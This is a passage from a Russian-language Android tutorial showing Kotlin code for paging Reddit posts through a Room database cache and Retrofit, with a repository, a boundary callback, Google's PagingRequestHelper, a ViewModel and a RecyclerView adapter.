.baseUrl("https://www.reddit.com/") //Базовая часть адреса
.addConverterFactory(GsonConverterFactory.create()) //Конвертер, необходимый для преобразования JSON'а в объекты
.build()
var db = Room.databaseBuilder(context,
RedditDb::class.java, "database").build()
private var redditApi: RedditApi
private var dao: RedditPostDao
val ioExecutor = Executors.newSingleThreadExecutor()
init {
redditApi = retrofit.create(RedditApi::class.java) //Создаем объект, при помощи которого будем выполнять запросы
dao = db.posts()
}
/**
* Inserts the response into the database while also assigning position indices to items.
*/
private fun insertResultIntoDb(subredditName: String, body: RedditApi.ListingResponse?) {
body!!.data.children.let { posts ->
db.runInTransaction {
val start = db.posts().getNextIndexInSubreddit(subredditName)
val items = posts.mapIndexed { index, child ->
child.data.indexInResponse = start + index
child.data
}
db.posts().insert(items)
}
}
}
/**
* When refresh is called, we simply run a fresh network request and when it arrives, clear
* the database table and insert all new items in a transaction.
*
\* Since the PagedList already uses a database bound data source, it will automatically be
\* updated after the database transaction is finished.
\*/
@MainThread
private fun refresh(subredditName: String): LiveData {
val networkState = MutableLiveData()
networkState.value = NetworkState.LOADING
redditApi.getTop(subredditName, 10).enqueue(
object : Callback {
override fun onFailure(call: Call, t: Throwable) {
// retrofit calls this on main thread so safe to call set value
networkState.value = NetworkState.error(t.message)
}
override fun onResponse(call: Call, response: Response) {
ioExecutor.execute {
db.runInTransaction {
db.posts().deleteBySubreddit(subredditName)
insertResultIntoDb(subredditName, response.body())
}
// since we are in bg thread now, post the result.
networkState.postValue(NetworkState.LOADED)
}
}
}
)
return networkState
}
/\*\*
\* Returns a Listing for the given subreddit.
\*/
override fun postsOfSubreddit(subReddit: String, pageSize: Int): Listing {
// create a boundary callback which will observe when the user reaches to the edges of
// the list and update the database with extra data.
val boundaryCallback = SubredditBoundaryCallback(
webservice = redditApi,
subredditName = subReddit,
handleResponse = this::insertResultIntoDb,
ioExecutor = ioExecutor,
networkPageSize = pageSize)
// we are using a mutable live data to trigger refresh requests which eventually calls
// refresh method and gets a new live data. Each refresh request by the user becomes a newly
// dispatched data in refreshTrigger
val refreshTrigger = MutableLiveData()
val refreshState = Transformations.switchMap(refreshTrigger) {
refresh(subReddit)
}
// We use toLiveData Kotlin extension function here, you could also use LivePagedListBuilder
val livePagedList = LivePagedListBuilder(db.posts().postsBySubreddit(subReddit), pageSize)
.setBoundaryCallback(boundaryCallback)
.build()
return Listing(
pagedList = livePagedList,
networkState = boundaryCallback.networkState,
retry = {
boundaryCallback.helper.retryAllFailed()
},
refresh = {
refreshTrigger.value = null
},
refreshState = refreshState
)
}
}
```
Давайте посмотрим что происходит в нашем репозитории.
Создаем инстансы наших датасорсов и интерфейсы доступа к данным. Для базы данных:
RoomDatabase и Dao, для сети: Retrofit и интерфейс апи.
Далее реализуем обязательный метод репозитория
```
fun postsOfSubreddit(subReddit: String, pageSize: Int): Listing
```
который настраивает пагинацию:
* Создаем SubRedditBoundaryCallback, наследующий PagedList.BoundaryCallback<>
* Используем конструктор с параметрами и передадим все, что нужно для работы BoundaryCallback
* Создаем триггер refreshTrigger для уведомления репозитория о необходимости обновить данные
* Создаем и возвращаем Listing объект
В Listing объекте:
* livePagedList
* networkState — состояние сети
* retry — callback для вызова повторного получения данных с сервера
* refresh — тригер для обновления данных
* refreshState — состояние процесса обновления
Реализуем вспомогательный метод
```
private fun insertResultIntoDb(subredditName: String, body: RedditApi.ListingResponse?)
```
для записи ответа сети в БД. Он будет использоваться, когда нужно будет обновить список или записать новую порцию данных.
Реализуем вспомогательный метод
```
private fun refresh(subredditName: String): LiveData
```
для тригера обновления данных. Тут все довольно просто: получаем данные с сервера, чистим БД, записываем новые данные в БД.
С репозиторием разобрались. Теперь давайте взглянем поближе на SubredditBoundaryCallback.
**SubredditBoundaryCallback.kt**
```
import androidx.paging.PagedList
import androidx.annotation.MainThread
import com.android.example.paging.pagingwithnetwork.reddit.api.RedditApi
import com.memebattle.pagingwithrepository.domain.model.RedditPost
import retrofit2.Call
import retrofit2.Callback
import retrofit2.Response
import java.util.concurrent.Executor
import com.memebattle.pagingwithrepository.domain.util.PagingRequestHelper
import com.memebattle.pagingwithrepository.domain.repository.network.createStatusLiveData
/**
* This boundary callback gets notified when user reaches to the edges of the list such that the
* database cannot provide any more data.
*
\* The boundary callback might be called multiple times for the same direction so it does its own
\* rate limiting using the com.memebattle.pagingwithrepository.domain.util.PagingRequestHelper class.
\*/
class SubredditBoundaryCallback(
private val subredditName: String,
private val webservice: RedditApi,
private val handleResponse: (String, RedditApi.ListingResponse?) -> Unit,
private val ioExecutor: Executor,
private val networkPageSize: Int)
: PagedList.BoundaryCallback() {
val helper = PagingRequestHelper(ioExecutor)
val networkState = helper.createStatusLiveData()
/\*\*
\* Database returned 0 items. We should query the backend for more items.
\*/
@MainThread
override fun onZeroItemsLoaded() {
helper.runIfNotRunning(PagingRequestHelper.RequestType.INITIAL) {
webservice.getTop(
subreddit = subredditName,
limit = networkPageSize)
.enqueue(createWebserviceCallback(it))
}
}
/\*\*
\* User reached to the end of the list.
\*/
@MainThread
override fun onItemAtEndLoaded(itemAtEnd: RedditPost) {
helper.runIfNotRunning(PagingRequestHelper.RequestType.AFTER) {
webservice.getTopAfter(
subreddit = subredditName,
after = itemAtEnd.name,
limit = networkPageSize)
.enqueue(createWebserviceCallback(it))
}
}
/\*\*
\* every time it gets new items, boundary callback simply inserts them into the database and
\* paging library takes care of refreshing the list if necessary.
\*/
private fun insertItemsIntoDb(
response: Response,
it: PagingRequestHelper.Request.Callback) {
ioExecutor.execute {
handleResponse(subredditName, response.body())
it.recordSuccess()
}
}
override fun onItemAtFrontLoaded(itemAtFront: RedditPost) {
// ignored, since we only ever append to what's in the DB
}
private fun createWebserviceCallback(it: PagingRequestHelper.Request.Callback)
: Callback {
return object : Callback {
override fun onFailure(call: Call, t: Throwable) {
it.recordFailure(t)
}
override fun onResponse(
call: Call,
response: Response) {
insertItemsIntoDb(response, it)
}
}
}
}
```
В классе, который наследует BoundaryCallback есть несколько обязательных методов:
```
override fun onZeroItemsLoaded()
```
Метод вызывается, когда БД пуста, здесь мы должны выполнить запрос на сервер для получения первой страницы.
```
override fun onItemAtEndLoaded(itemAtEnd: RedditPost)
```
Метод вызывается, когда “итератор” дошел до “дна” БД, здесь мы должны выполнить запрос на сервер для получения следующей страницы, передав ключ, с помощью которого сервер выдаст данные, следующие сразу за последней записью локального стора.
```
override fun onItemAtFrontLoaded(itemAtFront: RedditPost)
```
Метод вызывается, когда “итератор” дошел до первого элемента нашего стора. Для реализации нашего кейса можем проигнорировать реализацию этого метода.
Дописываем колбэк для получения данных и передачи их дальше
```
fun createWebserviceCallback(it: PagingRequestHelper.Request.Callback)
: Callback
```
Дописываем метод записи полученных данных в БД
```
insertItemsIntoDb(
response: Response,
it: PagingRequestHelper.Request.Callback)
```
Что за хэлпер PagingRequestHelper? Это ЗДОРОВЕННЫЙ класс, который нам любезно предоставил Google и предлагает вынести его в библиотеку, но мы просто скопируем его в пакет слоя логики.
**PagingRequestHelper.kt**
```
package com.memebattle.pagingwithrepository.domain.util;/*
* Copyright 2017 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
import java.util.Arrays;
import java.util.concurrent.CopyOnWriteArrayList;
import java.util.concurrent.Executor;
import java.util.concurrent.atomic.AtomicBoolean;
import androidx.annotation.AnyThread;
import androidx.annotation.GuardedBy;
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
import androidx.annotation.VisibleForTesting;
import androidx.paging.DataSource;
/**
* A helper class for {@link androidx.paging.PagedList.BoundaryCallback BoundaryCallback}s and
* {@link DataSource}s to help with tracking network requests.
*
\* It is designed to support 3 types of requests, {@link RequestType#INITIAL INITIAL},
\* {@link RequestType#BEFORE BEFORE} and {@link RequestType#AFTER AFTER} and runs only 1 request
\* for each of them via {@link #runIfNotRunning(RequestType, Request)}.
\*
\* It tracks a {@link Status} and an {@code error} for each {@link RequestType}.
\*
\* A sample usage of this class to limit requests looks like this:
\*
```
* class PagingBoundaryCallback extends PagedList.BoundaryCallback<MyItem> {
* // TODO replace with an executor from your application
* Executor executor = Executors.newSingleThreadExecutor();
* com.memebattle.pagingwithrepository.domain.util.PagingRequestHelper helper = new com.memebattle.pagingwithrepository.domain.util.PagingRequestHelper(executor);
* // imaginary API service, using Retrofit
* MyApi api;
*
* {@literal @}Override
* public void onItemAtFrontLoaded({@literal @}NonNull MyItem itemAtFront) {
* helper.runIfNotRunning(com.memebattle.pagingwithrepository.domain.util.PagingRequestHelper.RequestType.BEFORE,
* helperCallback -> api.getTopBefore(itemAtFront.getName(), 10).enqueue(
* new Callback<ApiResponse>() {
* {@literal @}Override
* public void onResponse(Call<ApiResponse> call,
* Response<ApiResponse> response) {
* // TODO insert new records into database
* helperCallback.recordSuccess();
* }
*
* {@literal @}Override
* public void onFailure(Call<ApiResponse> call, Throwable t) {
* helperCallback.recordFailure(t);
* }
* }));
* }
*
* {@literal @}Override
* public void onItemAtEndLoaded({@literal @}NonNull MyItem itemAtEnd) {
* helper.runIfNotRunning(com.memebattle.pagingwithrepository.domain.util.PagingRequestHelper.RequestType.AFTER,
* helperCallback -> api.getTopBefore(itemAtEnd.getName(), 10).enqueue(
* new Callback<ApiResponse>() {
* {@literal @}Override
* public void onResponse(Call<ApiResponse> call,
* Response<ApiResponse> response) {
* // TODO insert new records into database
* helperCallback.recordSuccess();
* }
*
* {@literal @}Override
* public void onFailure(Call<ApiResponse> call, Throwable t) {
* helperCallback.recordFailure(t);
* }
* }));
* }
* }
*
```
\*
\* The helper provides an API to observe combined request status, which can be reported back to the
\* application based on your business rules.
\*
```
* MutableLiveData<com.memebattle.pagingwithrepository.domain.util.PagingRequestHelper.Status> combined = new MutableLiveData<>();
* helper.addListener(status -> {
* // merge multiple states per request type into one, or dispatch separately depending on
* // your application logic.
* if (status.hasRunning()) {
* combined.postValue(com.memebattle.pagingwithrepository.domain.util.PagingRequestHelper.Status.RUNNING);
* } else if (status.hasError()) {
* // can also obtain the error via {@link StatusReport#getErrorFor(RequestType)}
* combined.postValue(com.memebattle.pagingwithrepository.domain.util.PagingRequestHelper.Status.FAILED);
* } else {
* combined.postValue(com.memebattle.pagingwithrepository.domain.util.PagingRequestHelper.Status.SUCCESS);
* }
* });
*
```
\*/
// THIS class is likely to be moved into the library in a future release. Feel free to copy it
// from this sample.
public class PagingRequestHelper {
private final Object mLock = new Object();
private final Executor mRetryService;
@GuardedBy("mLock")
private final RequestQueue[] mRequestQueues = new RequestQueue[]
{new RequestQueue(RequestType.INITIAL),
new RequestQueue(RequestType.BEFORE),
new RequestQueue(RequestType.AFTER)};
@NonNull
final CopyOnWriteArrayList mListeners = new CopyOnWriteArrayList<>();
/\*\*
\* Creates a new com.memebattle.pagingwithrepository.domain.util.PagingRequestHelper with the given {@link Executor} which is used to run
\* retry actions.
\*
\* @param retryService The {@link Executor} that can run the retry actions.
\*/
public PagingRequestHelper(@NonNull Executor retryService) {
mRetryService = retryService;
}
/\*\*
\* Adds a new listener that will be notified when any request changes {@link Status state}.
\*
\* @param listener The listener that will be notified each time a request's status changes.
\* @return True if it is added, false otherwise (e.g. it already exists in the list).
\*/
@AnyThread
public boolean addListener(@NonNull Listener listener) {
return mListeners.add(listener);
}
/\*\*
\* Removes the given listener from the listeners list.
\*
\* @param listener The listener that will be removed.
\* @return True if the listener is removed, false otherwise (e.g. it never existed)
\*/
public boolean removeListener(@NonNull Listener listener) {
return mListeners.remove(listener);
}
/\*\*
\* Runs the given {@link Request} if no other requests in the given request type is already
\* running.
\*
\* If run, the request will be run in the current thread.
\*
\* @param type The type of the request.
\* @param request The request to run.
\* @return True if the request is run, false otherwise.
\*/
@SuppressWarnings("WeakerAccess")
@AnyThread
public boolean runIfNotRunning(@NonNull RequestType type, @NonNull Request request) {
boolean hasListeners = !mListeners.isEmpty();
StatusReport report = null;
synchronized (mLock) {
RequestQueue queue = mRequestQueues[type.ordinal()];
if (queue.mRunning != null) {
return false;
}
queue.mRunning = request;
queue.mStatus = Status.RUNNING;
queue.mFailed = null;
queue.mLastError = null;
if (hasListeners) {
report = prepareStatusReportLocked();
}
}
if (report != null) {
dispatchReport(report);
}
final RequestWrapper wrapper = new RequestWrapper(request, this, type);
wrapper.run();
return true;
}
@GuardedBy("mLock")
private StatusReport prepareStatusReportLocked() {
Throwable[] errors = new Throwable[]{
mRequestQueues[0].mLastError,
mRequestQueues[1].mLastError,
mRequestQueues[2].mLastError
};
return new StatusReport(
getStatusForLocked(RequestType.INITIAL),
getStatusForLocked(RequestType.BEFORE),
getStatusForLocked(RequestType.AFTER),
errors
);
}
@GuardedBy("mLock")
private Status getStatusForLocked(RequestType type) {
return mRequestQueues[type.ordinal()].mStatus;
}
@AnyThread
@VisibleForTesting
void recordResult(@NonNull RequestWrapper wrapper, @Nullable Throwable throwable) {
StatusReport report = null;
final boolean success = throwable == null;
boolean hasListeners = !mListeners.isEmpty();
synchronized (mLock) {
RequestQueue queue = mRequestQueues[wrapper.mType.ordinal()];
queue.mRunning = null;
queue.mLastError = throwable;
if (success) {
queue.mFailed = null;
queue.mStatus = Status.SUCCESS;
} else {
queue.mFailed = wrapper;
queue.mStatus = Status.FAILED;
}
if (hasListeners) {
report = prepareStatusReportLocked();
}
}
if (report != null) {
dispatchReport(report);
}
}
private void dispatchReport(StatusReport report) {
for (Listener listener : mListeners) {
listener.onStatusChange(report);
}
}
/\*\*
\* Retries all failed requests.
\*
\* @return True if any request is retried, false otherwise.
\*/
public boolean retryAllFailed() {
final RequestWrapper[] toBeRetried = new RequestWrapper[RequestType.values().length];
boolean retried = false;
synchronized (mLock) {
for (int i = 0; i < RequestType.values().length; i++) {
toBeRetried[i] = mRequestQueues[i].mFailed;
mRequestQueues[i].mFailed = null;
}
}
for (RequestWrapper failed : toBeRetried) {
if (failed != null) {
failed.retry(mRetryService);
retried = true;
}
}
return retried;
}
static class RequestWrapper implements Runnable {
@NonNull
final Request mRequest;
@NonNull
final PagingRequestHelper mHelper;
@NonNull
final RequestType mType;
RequestWrapper(@NonNull Request request, @NonNull PagingRequestHelper helper,
@NonNull RequestType type) {
mRequest = request;
mHelper = helper;
mType = type;
}
@Override
public void run() {
mRequest.run(new Request.Callback(this, mHelper));
}
void retry(Executor service) {
service.execute(new Runnable() {
@Override
public void run() {
mHelper.runIfNotRunning(mType, mRequest);
}
});
}
}
/\*\*
\* Runner class that runs a request tracked by the {@link PagingRequestHelper}.
\*
\* When a request is invoked, it must call one of {@link Callback#recordFailure(Throwable)}
\* or {@link Callback#recordSuccess()} once and only once. This call
\* can be made any time. Until that method call is made, {@link PagingRequestHelper} will
\* consider the request is running.
\*/
@FunctionalInterface
public interface Request {
/\*\*
\* Should run the request and call the given {@link Callback} with the result of the
\* request.
\*
\* @param callback The callback that should be invoked with the result.
\*/
void run(Callback callback);
/\*\*
\* Callback class provided to the {@link #run(Callback)} method to report the result.
\*/
class Callback {
private final AtomicBoolean mCalled = new AtomicBoolean();
private final RequestWrapper mWrapper;
private final PagingRequestHelper mHelper;
Callback(RequestWrapper wrapper, PagingRequestHelper helper) {
mWrapper = wrapper;
mHelper = helper;
}
/\*\*
\* Call this method when the request succeeds and new data is fetched.
\*/
@SuppressWarnings("unused")
public final void recordSuccess() {
if (mCalled.compareAndSet(false, true)) {
mHelper.recordResult(mWrapper, null);
} else {
throw new IllegalStateException(
"already called recordSuccess or recordFailure");
}
}
/\*\*
\* Call this method with the failure message and the request can be retried via
\* {@link #retryAllFailed()}.
\*
\* @param throwable The error that occured while carrying out the request.
\*/
@SuppressWarnings("unused")
public final void recordFailure(@NonNull Throwable throwable) {
//noinspection ConstantConditions
if (throwable == null) {
throw new IllegalArgumentException("You must provide a throwable describing"
+ " the error to record the failure");
}
if (mCalled.compareAndSet(false, true)) {
mHelper.recordResult(mWrapper, throwable);
} else {
throw new IllegalStateException(
"already called recordSuccess or recordFailure");
}
}
}
}
/\*\*
\* Data class that holds the information about the current status of the ongoing requests
\* using this helper.
\*/
public static final class StatusReport {
/\*\*
\* Status of the latest request that were submitted with {@link RequestType#INITIAL}.
\*/
@NonNull
public final Status initial;
/\*\*
\* Status of the latest request that were submitted with {@link RequestType#BEFORE}.
\*/
@NonNull
public final Status before;
/\*\*
\* Status of the latest request that were submitted with {@link RequestType#AFTER}.
\*/
@NonNull
public final Status after;
@NonNull
private final Throwable[] mErrors;
StatusReport(@NonNull Status initial, @NonNull Status before, @NonNull Status after,
@NonNull Throwable[] errors) {
this.initial = initial;
this.before = before;
this.after = after;
this.mErrors = errors;
}
/\*\*
\* Convenience method to check if there are any running requests.
\*
\* @return True if there are any running requests, false otherwise.
\*/
public boolean hasRunning() {
return initial == Status.RUNNING
|| before == Status.RUNNING
|| after == Status.RUNNING;
}
/\*\*
\* Convenience method to check if there are any requests that resulted in an error.
\*
\* @return True if there are any requests that finished with error, false otherwise.
\*/
public boolean hasError() {
return initial == Status.FAILED
|| before == Status.FAILED
|| after == Status.FAILED;
}
/\*\*
\* Returns the error for the given request type.
\*
\* @param type The request type for which the error should be returned.
\* @return The {@link Throwable} returned by the failing request with the given type or
\* {@code null} if the request for the given type did not fail.
\*/
@Nullable
public Throwable getErrorFor(@NonNull RequestType type) {
return mErrors[type.ordinal()];
}
@Override
public String toString() {
return "StatusReport{"
+ "initial=" + initial
+ ", before=" + before
+ ", after=" + after
+ ", mErrors=" + Arrays.toString(mErrors)
+ '}';
}
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
StatusReport that = (StatusReport) o;
if (initial != that.initial) return false;
if (before != that.before) return false;
if (after != that.after) return false;
// Probably incorrect - comparing Object[] arrays with Arrays.equals
return Arrays.equals(mErrors, that.mErrors);
}
@Override
public int hashCode() {
int result = initial.hashCode();
result = 31 \* result + before.hashCode();
result = 31 \* result + after.hashCode();
result = 31 \* result + Arrays.hashCode(mErrors);
return result;
}
}
/\*\*
\* Listener interface to get notified by request status changes.
\*/
public interface Listener {
/\*\*
\* Called when the status for any of the requests has changed.
\*
\* @param report The current status report that has all the information about the requests.
\*/
void onStatusChange(@NonNull StatusReport report);
}
/\*\*
\* Represents the status of a Request for each {@link RequestType}.
\*/
public enum Status {
/\*\*
\* There is current a running request.
\*/
RUNNING,
/\*\*
\* The last request has succeeded or no such requests have ever been run.
\*/
SUCCESS,
/\*\*
\* The last request has failed.
\*/
FAILED
}
/\*\*
\* Available request types.
\*/
public enum RequestType {
/\*\*
\* Corresponds to an initial request made to a {@link DataSource} or the empty state for
\* a {@link androidx.paging.PagedList.BoundaryCallback BoundaryCallback}.
\*/
INITIAL,
/\*\*
\* Corresponds to the {@code loadBefore} calls in {@link DataSource} or
\* {@code onItemAtFrontLoaded} in
\* {@link androidx.paging.PagedList.BoundaryCallback BoundaryCallback}.
\*/
BEFORE,
/\*\*
\* Corresponds to the {@code loadAfter} calls in {@link DataSource} or
\* {@code onItemAtEndLoaded} in
\* {@link androidx.paging.PagedList.BoundaryCallback BoundaryCallback}.
\*/
AFTER
}
class RequestQueue {
@NonNull
final RequestType mRequestType;
@Nullable
RequestWrapper mFailed;
@Nullable
Request mRunning;
@Nullable
Throwable mLastError;
@NonNull
Status mStatus = Status.SUCCESS;
RequestQueue(@NonNull RequestType requestType) {
mRequestType = requestType;
}
}
}
```
**PagingRequestHelperExt.kt**
```
import androidx.lifecycle.LiveData
import androidx.lifecycle.MutableLiveData
import com.memebattle.pagingwithrepository.domain.util.PagingRequestHelper
private fun getErrorMessage(report: PagingRequestHelper.StatusReport): String {
return PagingRequestHelper.RequestType.values().mapNotNull {
report.getErrorFor(it)?.message
}.first()
}
fun PagingRequestHelper.createStatusLiveData(): LiveData {
val liveData = MutableLiveData()
addListener { report ->
when {
report.hasRunning() -> liveData.postValue(NetworkState.LOADING)
report.hasError() -> liveData.postValue(
NetworkState.error(getErrorMessage(report)))
else -> liveData.postValue(NetworkState.LOADED)
}
}
return liveData
}
```
Со слоем бизнес логики закончили, можем переходить к реализации представления.
В слое представления у нас новая MVVM от Google на ViewModel и LiveData.
**MainActivity.kt**
```
import android.os.Bundle
import android.view.KeyEvent
import android.view.inputmethod.EditorInfo
import androidx.lifecycle.Observer
import androidx.lifecycle.ViewModel
import androidx.lifecycle.ViewModelProvider
import androidx.lifecycle.ViewModelProviders
import androidx.paging.PagedList
import com.memebattle.pagingwithrepository.R
import com.memebattle.pagingwithrepository.domain.model.RedditPost
import com.memebattle.pagingwithrepository.domain.repository.MainRepository
import com.memebattle.pagingwithrepository.domain.repository.network.NetworkState
import com.memebattle.pagingwithrepository.presentation.recycler.PostsAdapter
import kotlinx.android.synthetic.main.activity_main.*
class MainActivity : AppCompatActivity() {
companion object {
const val KEY_SUBREDDIT = "subreddit"
const val DEFAULT_SUBREDDIT = "androiddev"
}
lateinit var model: MainViewModel
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
model = getViewModel()
initAdapter()
initSwipeToRefresh()
initSearch()
val subreddit = savedInstanceState?.getString(KEY_SUBREDDIT) ?: DEFAULT_SUBREDDIT
model.showSubReddit(subreddit)
}
private fun getViewModel(): MainViewModel {
return ViewModelProviders.of(this, object : ViewModelProvider.Factory {
override fun create(modelClass: Class): T {
val repo = MainRepository(this@MainActivity)
@Suppress("UNCHECKED\_CAST")
return MainViewModel(repo) as T
}
})[MainViewModel::class.java]
}
private fun initAdapter() {
val adapter = PostsAdapter {
model.retry()
}
list.adapter = adapter
model.posts.observe(this, Observer> {
adapter.submitList(it)
})
model.networkState.observe(this, Observer {
adapter.setNetworkState(it)
})
}
private fun initSwipeToRefresh() {
model.refreshState.observe(this, Observer {
swipe\_refresh.isRefreshing = it == NetworkState.LOADING
})
swipe\_refresh.setOnRefreshListener {
model.refresh()
}
}
override fun onSaveInstanceState(outState: Bundle) {
super.onSaveInstanceState(outState)
outState.putString(KEY\_SUBREDDIT, model.currentSubreddit())
}
private fun initSearch() {
input.setOnEditorActionListener { \_, actionId, \_ ->
if (actionId == EditorInfo.IME\_ACTION\_GO) {
updatedSubredditFromInput()
true
} else {
false
}
}
input.setOnKeyListener { \_, keyCode, event ->
if (event.action == KeyEvent.ACTION\_DOWN && keyCode == KeyEvent.KEYCODE\_ENTER) {
updatedSubredditFromInput()
true
} else {
false
}
}
}
private fun updatedSubredditFromInput() {
input.text.trim().toString().let {
if (it.isNotEmpty()) {
if (model.showSubReddit(it)) {
list.scrollToPosition(0)
(list.adapter as? PostsAdapter)?.submitList(null)
}
}
}
}
}
```
В методе onCreate инициализируем ViewModel, адаптер списка, подписываемся на изменение названия подписки и вызываем через модель запуск работы репозитория.
Если вы не знакомы с механизмами LiveData и ViewModel, то рекомендую ознакомиться с [уроками](https://startandroid.ru/ru/courses/architecture-components.html).
**MainViewModel.kt**
```
import androidx.lifecycle.MutableLiveData
import androidx.lifecycle.Transformations
import androidx.lifecycle.ViewModel
import com.memebattle.pagingwithrepository.domain.repository.core.RedditPostRepository
class MainViewModel(private val repository: RedditPostRepository) : ViewModel() {
private val subredditName = MutableLiveData()
private val repoResult = Transformations.map(subredditName) {
repository.postsOfSubreddit(it, 10)
}
val posts = Transformations.switchMap(repoResult) { it.pagedList }!!
val networkState = Transformations.switchMap(repoResult) { it.networkState }!!
val refreshState = Transformations.switchMap(repoResult) { it.refreshState }!!
fun refresh() {
repoResult.value?.refresh?.invoke()
}
fun showSubReddit(subreddit: String): Boolean {
if (subredditName.value == subreddit) {
return false
}
subredditName.value = subreddit
return true
}
fun retry() {
val listing = repoResult?.value
listing?.retry?.invoke()
}
fun currentSubreddit(): String? = subredditName.value
}
```
В модели реализуем методы, которые будут дергать методы репозитория: retry и refesh.
Адаптер списка будет наследовать PagedListAdapter. Тут все также как и работе с пагинацией и одним источником данных.
**PostAdapter.kt**
```
import androidx.paging.PagedListAdapter
import androidx.recyclerview.widget.DiffUtil
import androidx.recyclerview.widget.RecyclerView
import android.view.ViewGroup
import com.memebattle.pagingwithrepository.R
import com.memebattle.pagingwithrepository.domain.model.RedditPost
import com.memebattle.pagingwithrepository.domain.repository.network.NetworkState
import com.memebattle.pagingwithrepository.presentation.recycler.viewholder.NetworkStateItemViewHolder
import com.memebattle.pagingwithrepository.presentation.recycler.viewholder.RedditPostViewHolder
/**
* A simple adapter implementation that shows Reddit posts.
*/
class PostsAdapter(
private val retryCallback: () -> Unit)
: PagedListAdapter(POST\_COMPARATOR) {
private var networkState: NetworkState? = null
override fun onBindViewHolder(holder: RecyclerView.ViewHolder, position: Int) {
when (getItemViewType(position)) {
R.layout.reddit\_post\_item -> (holder as RedditPostViewHolder).bind(getItem(position))
R.layout.network\_state\_item -> (holder as NetworkStateItemViewHolder).bindTo(
networkState)
}
}
override fun onBindViewHolder(
holder: RecyclerView.ViewHolder,
position: Int,
payloads: MutableList) {
if (payloads.isNotEmpty()) {
val item = getItem(position)
(holder as RedditPostViewHolder).updateScore(item)
} else {
onBindViewHolder(holder, position)
}
}
override fun onCreateViewHolder(parent: ViewGroup, viewType: Int): RecyclerView.ViewHolder {
return when (viewType) {
R.layout.reddit\_post\_item -> RedditPostViewHolder.create(parent)
R.layout.network\_state\_item -> NetworkStateItemViewHolder.create(parent, retryCallback)
else -> throw IllegalArgumentException("unknown view type $viewType")
}
}
private fun hasExtraRow() = networkState != null && networkState != NetworkState.LOADED
override fun getItemViewType(position: Int): Int {
return if (hasExtraRow() && position == itemCount - 1) {
R.layout.network\_state\_item
} else {
R.layout.reddit\_post\_item
}
}
override fun getItemCount(): Int {
return super.getItemCount() + if (hasExtraRow()) 1 else 0
}
fun setNetworkState(newNetworkState: NetworkState?) {
val previousState = this.networkState
val hadExtraRow = hasExtraRow()
this.networkState = newNetworkState
val hasExtraRow = hasExtraRow()
if (hadExtraRow != hasExtraRow) {
if (hadExtraRow) {
notifyItemRemoved(super.getItemCount())
} else {
notifyItemInserted(super.getItemCount())
}
} else if (hasExtraRow && previousState != newNetworkState) {
notifyItemChanged(itemCount - 1)
}
}
companion object {
private val PAYLOAD\_SCORE = Any()
val POST\_COMPARATOR = object : DiffUtil.ItemCallback() {
override fun areContentsTheSame(oldItem: RedditPost, newItem: RedditPost): Boolean =
oldItem == newItem
override fun areItemsTheSame(oldItem: RedditPost, newItem: RedditPost): Boolean =
oldItem.name == newItem.name
override fun getChangePayload(oldItem: RedditPost, newItem: RedditPost): Any? {
return if (sameExceptScore(oldItem, newItem)) {
PAYLOAD\_SCORE
} else {
null
}
}
}
private fun sameExceptScore(oldItem: RedditPost, newItem: RedditPost): Boolean {
// DON'T do this copy in a real app, it is just convenient here for the demo :)
// because reddit randomizes scores, we want to pass it as a payload to minimize
// UI updates between refreshes
return oldItem.copy(score = newItem.score) == newItem
}
}
}
```
И все те же ViewHolder ы для отображения записи и итема состояния загрузки данных из сети.
**RedditPostViewHolder.kt**
```
import android.content.Intent
import android.net.Uri
import androidx.recyclerview.widget.RecyclerView
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import android.widget.ImageView
import android.widget.TextView
import com.memebattle.pagingwithrepository.R
import com.memebattle.pagingwithrepository.domain.model.RedditPost
/**
* A RecyclerView ViewHolder that displays a reddit post.
*/
class RedditPostViewHolder(view: View)
: RecyclerView.ViewHolder(view) {
private val title: TextView = view.findViewById(R.id.title)
private val subtitle: TextView = view.findViewById(R.id.subtitle)
private val score: TextView = view.findViewById(R.id.score)
private var post : RedditPost? = null
init {
view.setOnClickListener {
post?.url?.let { url ->
val intent = Intent(Intent.ACTION_VIEW, Uri.parse(url))
view.context.startActivity(intent)
}
}
}
fun bind(post: RedditPost?) {
this.post = post
title.text = post?.title ?: "loading"
subtitle.text = itemView.context.resources.getString(R.string.post_subtitle,
post?.author ?: "unknown")
score.text = "${post?.score ?: 0}"
}
companion object {
fun create(parent: ViewGroup): RedditPostViewHolder {
val view = LayoutInflater.from(parent.context)
.inflate(R.layout.reddit_post_item, parent, false)
return RedditPostViewHolder(view)
}
}
fun updateScore(item: RedditPost?) {
post = item
score.text = "${item?.score ?: 0}"
}
}
```
**NetworkStateItemViewHolder.kt**
```
import androidx.recyclerview.widget.RecyclerView
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import android.widget.Button
import android.widget.ProgressBar
import android.widget.TextView
import com.memebattle.pagingwithrepository.R
import com.memebattle.pagingwithrepository.domain.repository.network.NetworkState
import com.memebattle.pagingwithrepository.domain.repository.network.Status
/**
* A View Holder that can display a loading or have click action.
* It is used to show the network state of paging.
*/
class NetworkStateItemViewHolder(view: View,
private val retryCallback: () -> Unit)
: RecyclerView.ViewHolder(view) {
private val progressBar = view.findViewById(R.id.progress\_bar)
private val retry = view.findViewById(R.id.retry\_button)
private val errorMsg = view.findViewById(R.id.error\_msg)
init {
retry.setOnClickListener {
retryCallback()
}
}
fun bindTo(networkState: NetworkState?) {
progressBar.visibility = toVisibility(networkState?.status == Status.RUNNING)
retry.visibility = toVisibility(networkState?.status == Status.FAILED)
errorMsg.visibility = toVisibility(networkState?.msg != null)
errorMsg.text = networkState?.msg
}
companion object {
fun create(parent: ViewGroup, retryCallback: () -> Unit): NetworkStateItemViewHolder {
val view = LayoutInflater.from(parent.context)
.inflate(R.layout.network\_state\_item, parent, false)
return NetworkStateItemViewHolder(view, retryCallback)
}
fun toVisibility(constraint : Boolean): Int {
return if (constraint) {
View.VISIBLE
} else {
View.GONE
